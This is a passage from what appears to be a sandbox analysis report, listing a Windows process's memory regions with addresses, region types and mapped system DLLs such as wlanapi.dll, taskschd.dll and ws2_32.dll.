end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1416 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1417 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1583 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1584 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1585 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1586 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1587 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 1588 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 1589 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1590 start_va = 0x15a0000 end_va = 0x161ffff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 1591 start_va = 0x1630000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 1592 start_va = 0x7fefba60000 end_va = 0x7fefbb0bfff entry_point = 0x7fefba718d0 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" Region: id = 1593 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 1594 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 1595 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 1596 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1597 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1598 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1599 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1600 start_va = 0x7fefcef0000 end_va = 0x7fefcefcfff entry_point = 0x7fefcef1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" Region: id = 1601 start_va = 0x7fefba30000 end_va = 0x7fefba5ffff entry_point = 0x7fefba4fe98 region_type = mapped_file name = "PeerDist.dll" filename = "\\Windows\\System32\\PeerDist.dll" Region: id = 1602 start_va = 0x7fefd660000 end_va = 0x7fefd68efff entry_point = 0x7fefd661064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" Region: id = 1625 start_va = 0x12c0000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1626 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 1627 start_va = 0x1800000 end_va = 0x187ffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1628 start_va = 0x7fefb7b0000 end_va = 0x7fefb8d6fff entry_point = 0x7fefb7b10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" Region: id = 1629 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1630 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1631 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1632 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1633 start_va = 0x7fefb770000 end_va = 0x7fefb7acfff entry_point = 0x7fefb771b7c region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" Region: id = 1634 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1635 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1636 start_va = 0x7fefc6a0000 end_va = 0x7fefc893fff entry_point = 0x7fefc82c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" Region: id = 2141 start_va = 0x14d0000 end_va = 0x154ffff entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 2142 start_va = 0x16d0000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 2143 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 2144 start_va = 0x19f0000 end_va = 0x1a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 2145 start_va = 0x1ae0000 end_va = 0x1b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 2146 start_va = 0x7fefb140000 end_va = 0x7fefb14ffff entry_point = 0x7fefb1427f0 region_type = mapped_file name = "uxsms.dll" filename = "\\Windows\\System32\\uxsms.dll" Region: id = 2147 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 2148 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 2149 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 2150 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 2151 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 2152 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 2153 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2154 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2155 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2156 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2157 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3407 start_va = 0x1c50000 end_va = 0x1ccffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 3408 start_va = 0x1d00000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 3409 start_va = 0x75960000 end_va = 0x75962fff entry_point = 0x75960000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" Region: id = 3410 start_va = 0x7fef8c50000 end_va = 0x7fef8c5ffff entry_point = 0x7fef8c51010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" Region: id = 3411 start_va = 0x7fef8c60000 end_va = 0x7fef8c71fff entry_point = 0x7fef8c61050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" Region: id = 3412 start_va = 0x7fef8c80000 end_va = 0x7fef8cb1fff entry_point = 0x7fef8c81020 region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" Region: id = 3413 start_va = 0x7fef9060000 end_va = 0x7fef909efff entry_point = 0x7fef90612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" Region: id = 3414 start_va = 0x7fefb350000 end_va = 0x7fefb3a6fff entry_point = 0x7fefb351118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" Region: id = 3415 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 3416 start_va = 0x7fefd6a0000 end_va = 0x7fefd70cfff entry_point = 0x7fefd6a1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" Region: id = 3417 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3422 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3423 start_va = 0x1e50000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3424 start_va = 0x1ff0000 end_va = 0x1ffffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3425 start_va = 0x7fef8920000 end_va = 0x7fef8acdfff entry_point = 0x7fef894a148 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" Region: id = 3426 start_va = 0x7fefdf70000 end_va = 0x7fefecf7fff entry_point = 0x7fefdfecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" Region: id = 3427 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3433 start_va = 0x1dd0000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 3434 start_va = 0x1ee0000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 3435 start_va = 0x2000000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 3436 start_va = 0x2250000 end_va = 0x225ffff entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 3437 start_va = 0x7fef8890000 end_va = 0x7fef88b1fff entry_point = 0x7fef8891020 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" Region: id = 3438 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 3439 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 3440 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3441 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3592 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3593 start_va = 0x1bb0000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 3594 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 3595 start_va = 0x1f70000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 3596 start_va = 0x7fef7ac0000 end_va = 0x7fef7b1bfff entry_point = 0x7fef7ac8c20 region_type = mapped_file name = "netman.dll" filename = "\\Windows\\System32\\netman.dll" Region: id = 3597 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 3598 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 3599 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 3600 start_va = 0xc70000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 3601 start_va = 0x2100000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 3602 start_va = 0x23e0000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 3603 start_va = 0x7fef7a90000 end_va = 0x7fef7ab0fff entry_point = 0x7fef7a9105c region_type = mapped_file name = "wpdbusenum.dll" filename = "\\Windows\\System32\\wpdbusenum.dll" Region: id = 3637 start_va = 0x2320000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 3638 start_va = 0x2570000 end_va = 0x257ffff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3639 start_va = 0x2760000 end_va = 0x276ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 3640 start_va = 0x7fef7940000 end_va = 0x7fef7956fff entry_point = 0x7fef794d308 region_type = mapped_file name = "PortableDeviceConnectApi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" Region: id = 3641 start_va = 0x7fef7c70000 end_va = 0x7fef7c88fff entry_point = 0x7fef7c72b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" Region: id = 3642 start_va = 0x7fef9430000 end_va = 0x7fef94ecfff entry_point = 0x7fef9431ea4 region_type = mapped_file name = "PortableDeviceApi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" Region: id = 3643 start_va = 0x7fef9550000 end_va = 0x7fef97dafff entry_point = 0x7fef9556f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" Region: id = 3644 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 3645 start_va = 0x7fefb940000 end_va = 0x7fefb954fff entry_point = 0x7fefb9460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" Region: id = 3646 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3647 start_va = 0x16d0000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 3648 start_va = 0x1bd0000 end_va = 0x1c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 3649 start_va = 0x23f0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 3650 start_va = 0x7fefa1b0000 end_va = 0x7fefa1bbfff entry_point = 0x7fefa1b419c region_type = mapped_file name = "Apphlpdm.dll" filename = "\\Windows\\System32\\Apphlpdm.dll" Region: id = 3651 start_va = 0x7fefa720000 end_va = 0x7fefa79bfff entry_point = 0x7fefa7211d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" Region: id = 3652 start_va = 0x7fefdf30000 end_va = 0x7fefdf69fff entry_point = 0x7fefdf31320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" Region: id = 3653 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 3654 start_va = 0x1ed0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 3655 start_va = 0x22a0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 3656 start_va = 0x7fef8700000 end_va = 0x7fef8710fff entry_point = 0x7fef87014c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" Region: id = 3657 start_va = 0x7fef9b20000 end_va = 0x7fef9b81fff entry_point = 0x7fef9b21198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" Region: id = 3658 start_va = 0x7fef9b90000 end_va = 0x7fef9c67fff entry_point = 0x7fef9bf8bd0 region_type = mapped_file name = "rasdlg.dll" filename = "\\Windows\\System32\\rasdlg.dll" Region: id = 3659 start_va = 0x7fefa150000 end_va = 0x7fefa16bfff entry_point = 0x7fefa1511a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" Region: id = 3660 start_va = 0x7fefa170000 end_va = 0x7fefa1a9fff entry_point = 0x7fefa171010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" Region: id = 3661 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3662 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 3707 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3708 start_va = 0x25e0000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 3709 start_va = 0x26a0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 3710 start_va = 0x2770000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 3711 start_va = 0x28f0000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 3712 start_va = 0x29d0000 end_va = 0x29dffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 3713 start_va = 0x29e0000 end_va = 0x2adffff entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 3714 start_va = 0x7fef8120000 end_va = 0x7fef81a3fff entry_point = 0x7fef8171118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" Region: id = 3715 start_va = 0x7fefb750000 end_va = 0x7fefb75bfff entry_point = 0x7fefb7515d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" Region: id = 3716 start_va = 0x7fefcf70000 end_va = 0x7fefcf81fff entry_point = 0x7fefcf71060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" Region: id = 3717 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3718 start_va = 0x7fef9ad0000 end_va = 0x7fef9b13fff entry_point = 0x7fef9afa9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3719 start_va = 0x7fefa130000 end_va = 0x7fefa147fff entry_point = 0x7fefa131010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" Region: id = 3720 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 3721 start_va = 0x7fef9a40000 end_va = 0x7fef9a83fff entry_point = 0x7fef9a6a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3722 start_va = 0x7fef9a90000 end_va = 0x7fef9aa3fff entry_point = 0x7fef9a9ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3723 start_va = 0x7fef9ab0000 end_va = 0x7fef9aeffff entry_point = 0x7fef9ab1010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3724 start_va = 0x7fef9af0000 end_va = 0x7fef9af6fff entry_point = 0x7fef9af1b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3725 start_va = 0x7fef9b00000 end_va = 0x7fef9b1ffff entry_point = 0x7fef9b01010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3726 start_va = 0x7fefa120000 end_va = 0x7fefa140fff entry_point = 0x7fefa137b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3727 start_va = 0x7fef7dd0000 end_va = 0x7fef7e3afff entry_point = 0x7fef7e14344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" Region: id = 3728 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 3754 start_va = 0x2b50000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 3755 start_va = 0x7fef7e40000 end_va = 0x7fef7e53fff entry_point = 0x7fef7e41070 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" Region: id = 3756 start_va = 0x7fef80a0000 end_va = 0x7fef80aefff entry_point = 0x7fef80a11d0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" Region: id = 3757 start_va = 0x7fef87c0000 end_va = 0x7fef8845fff entry_point = 0x7fef87cffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" Region: id = 3758 start_va = 0x7fef99f0000 end_va = 0x7fef9a33fff entry_point = 0x7fef9a1a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3759 start_va = 0x7fef9a40000 end_va = 0x7fef9a53fff entry_point = 0x7fef9a4ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3760 start_va = 0x7fef9a60000 end_va = 0x7fef9a9ffff entry_point = 0x7fef9a61010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3761 start_va = 0x7fef9aa0000 end_va = 0x7fef9aa6fff entry_point = 0x7fef9aa1b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3762 start_va = 0x7fef9ab0000 end_va = 0x7fef9acffff entry_point = 0x7fef9ab1010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3763 start_va = 0x7fef9ad0000 end_va = 0x7fef9af0fff entry_point = 0x7fef9ae7b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3764 start_va = 0x18a0000 end_va = 0x191ffff entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 3765 start_va = 0x2c90000 end_va = 0x2d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 3766 start_va = 0x7fef99d0000 end_va = 0x7fef9a13fff entry_point = 0x7fef99fa9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3767 start_va = 0x7fef9a20000 end_va = 0x7fef9a5ffff entry_point = 0x7fef9a21010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3768 start_va = 0x7fef9a80000 end_va = 0x7fef9a93fff entry_point = 0x7fef9a8ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3769 start_va = 0x7fef9aa0000 end_va = 0x7fef9ac0fff entry_point = 0x7fef9ab7b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3770 start_va = 0x7fef9ad0000 end_va = 0x7fef9ad6fff entry_point = 0x7fef9ad1b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3771 start_va = 0x7fef9ae0000 end_va = 0x7fef9afffff entry_point = 0x7fef9ae1010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3842 start_va = 0x7fef8250000 end_va = 0x7fef8276fff entry_point = 0x7fef82511a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" Region: id = 3843 start_va = 0x7fef8280000 end_va = 0x7fef8361fff entry_point = 0x7fef82a3814 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" Region: id = 3844 start_va = 0x7fef9890000 end_va = 0x7fef98d3fff entry_point = 0x7fef98ba9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3845 start_va = 0x7fef98e0000 end_va = 0x7fef98f3fff entry_point = 0x7fef98eab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3846 start_va = 0x7fef9900000 end_va = 0x7fef993ffff entry_point = 0x7fef9901010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3847 start_va = 0x7fef9940000 end_va = 0x7fef9946fff entry_point = 0x7fef9941b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3848 start_va = 0x7fef9950000 end_va = 0x7fef996ffff entry_point = 0x7fef9951010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3849 start_va = 0x7fef9970000 end_va = 0x7fef9990fff entry_point = 0x7fef9987b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3850 start_va = 0x2c90000 end_va = 0x2d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 3851 start_va = 0x2d90000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d90000" filename = "" Region: id = 3852 start_va = 0x7fef9870000 end_va = 0x7fef98b3fff entry_point = 0x7fef989a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3853 start_va = 0x7fef98c0000 end_va = 0x7fef98fffff entry_point = 0x7fef98c1010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3854 start_va = 0x7fef9920000 end_va = 0x7fef9933fff entry_point = 0x7fef992ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3855 start_va = 0x7fef9940000 end_va = 0x7fef9960fff entry_point = 0x7fef9957b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3856 start_va = 0x7fef9970000 end_va = 0x7fef9976fff entry_point = 0x7fef9971b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3857 start_va = 0x7fef9980000 end_va = 0x7fef999ffff entry_point = 0x7fef9981010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3870 start_va = 0x1890000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 3871 start_va = 0x2c40000 end_va = 0x2cbffff entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 3872 start_va = 0x7fef9880000 end_va = 0x7fef98c3fff entry_point = 0x7fef98aa9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" 